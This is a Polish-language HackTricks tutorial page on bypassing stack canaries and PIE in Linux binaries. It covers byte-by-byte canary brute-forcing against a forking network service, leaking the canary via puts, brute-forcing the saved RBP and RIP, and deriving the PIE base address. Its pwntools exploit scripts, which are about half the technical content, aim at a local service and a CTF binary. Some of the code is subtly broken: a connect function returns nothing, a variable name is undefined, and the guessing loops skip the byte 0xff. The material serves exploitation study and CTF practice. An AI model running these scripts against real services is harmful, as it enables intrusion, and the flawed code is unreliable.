hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
2024-02-11 01:46:25 +00:00

169 lines
9.4 KiB
Markdown

<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
**Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie musisz znaleźć sposób na ich obejście.**
![](<../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
Należy zauważyć, że **`checksec`** może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został on statycznie skompilowany i nie jest w stanie zidentyfikować funkcji.\
Jednak można to zauważyć ręcznie, jeśli zauważysz, że wartość jest zapisywana na stosie na początku wywołania funkcji i ta wartość jest sprawdzana przed wyjściem.
{% endhint %}
# Bruteforce canary
Najlepszym sposobem na obejście prostego canary jest, jeśli binarny plik jest programem, który **tworzy procesy potomne za każdym razem, gdy nawiązujesz nowe połączenie** z nim (usługa sieciowa), ponieważ za każdym razem, gdy się z nim łączysz, **używany będzie ten sam canary**.
Najlepszym sposobem na obejście canary jest po prostu **brute-force'owanie go znak po znaku**, a można ustalić, czy odgadnięty bajt canary jest poprawny, sprawdzając, czy program się zawiesił czy kontynuuje swoje normalne działanie. W tym przykładzie funkcja **brute-force'uje 8-bajtowy canary (x64)** i rozróżnia między poprawnie odgadniętym bajtem a błędnym bajtem, po prostu **sprawdzając**, czy serwer **wysyła odpowiedź** (innym sposobem w **innej sytuacji** może być użycie **try/except**):
## Przykład 1
Ten przykład jest zaimplementowany dla 64-bitów, ale można go łatwo zaimplementować dla 32-bitów.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
## Przykład 2
To jest zaimplementowane dla 32 bitów, ale można to łatwo zmienić na 64 bity.\
Należy również zauważyć, że w tym przykładzie **program oczekuje najpierw bajtu wskazującego rozmiar wejścia**, a następnie ładunku.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
# Wyświetlanie Canary
Innym sposobem na obejście canary jest jego **wyświetlenie**.\
Wyobraź sobie sytuację, w której **podatny na przepełnienie stosu program** może wykonać funkcję **puts**, która **wskazuje** na **część** przepełnionego stosu. Atakujący wie, że **pierwszy bajt canary to bajt nullowy** (`\x00`), a reszta canary to **losowe** bajty. Następnie atakujący może stworzyć przepełnienie, które **nadpisuje stos aż do pierwszego bajtu canary**.\
Następnie atakujący **wywołuje funkcję puts** na środku payloadu, co spowoduje **wyświetlenie całego canary** (z wyjątkiem pierwszego bajtu nullowego).\
Dzięki tym informacjom atakujący może **stworzyć i wysłać nowy atak**, znając canary (w tej samej sesji programu).
Oczywiście, ta taktyka jest bardzo **ograniczona**, ponieważ atakujący musi być w stanie **wyświetlić** zawartość swojego payloadu, aby **wyciec canary**, a następnie być w stanie stworzyć nowy payload (w tej samej sesji programu) i **wysłać** **rzeczywiste przepełnienie bufora**.\
Przykład CTF: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
# PIE
Aby obejść PIE, musisz **wyciec pewien adres**. Jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest **przełamać RBP i RIP zapisane na stosie** w podatnej funkcji.\
Na przykład, jeśli binarny plik jest chroniony zarówno przez **canary**, jak i **PIE**, możesz rozpocząć próby odgadywania canary, a następnie **następne** 8 bajtów (x64) będą zapisanym **RBP**, a **następne** 8 bajtów będą zapisanym **RIP**.
Aby przeprowadzić próby odgadywania RBP i RIP z binarnego pliku, możesz ustalić, że poprawny odgadnięty bajt jest prawidłowy, jeśli program coś wyświetla lub po prostu nie zawiesza się. **Ta sama funkcja**, która została użyta do prób odgadywania canary, może być użyta do prób odgadywania RBP i RIP:
```python
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
## Uzyskaj adres bazowy
Ostatnią rzeczą, którą musisz zrobić, aby pokonać PIE, jest obliczenie **użytecznych adresów na podstawie wyciekniętych** adresów: **RBP** i **RIP**.
Na podstawie **RBP** możesz obliczyć **miejsce, w którym zapisujesz swoją powłokę na stosie**. Może to być bardzo przydatne, aby wiedzieć, gdzie zamierzasz zapisać ciąg _"/bin/sh\x00"_ wewnątrz stosu. Aby obliczyć odległość między wyciekniętym RBP a twoim kodem powłoki, wystarczy ustawić **punkt przerwania po wycieku RBP** i sprawdzić, **gdzie znajduje się twój kod powłoki**, a następnie obliczyć odległość między kodem powłoki a RBP:
```python
INI_SHELLCODE = RBP - 1152
```
Z **RIP** można obliczyć **adres bazowy binarnego PIE**, który będzie potrzebny do utworzenia **poprawnego łańcucha ROP**.\
Aby obliczyć adres bazowy, wystarczy wykonać polecenie `objdump -d vunbinary` i sprawdzić ostatnie adresy rozkładu:
![](<../../.gitbook/assets/image (145).png>)
Na przykładzie widać, że potrzebne jest tylko **1,5 bajta**, aby zlokalizować cały kod, a więc adres bazowy w tej sytuacji będzie to **wycieknięty RIP, ale zakończony na "000"**. Na przykład, jeśli wyciekł _0x562002970**ecf**_, to adres bazowy to _0x562002970**000**_.
```python
elf.address = RIP - (RIP & 0xfff)
```
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>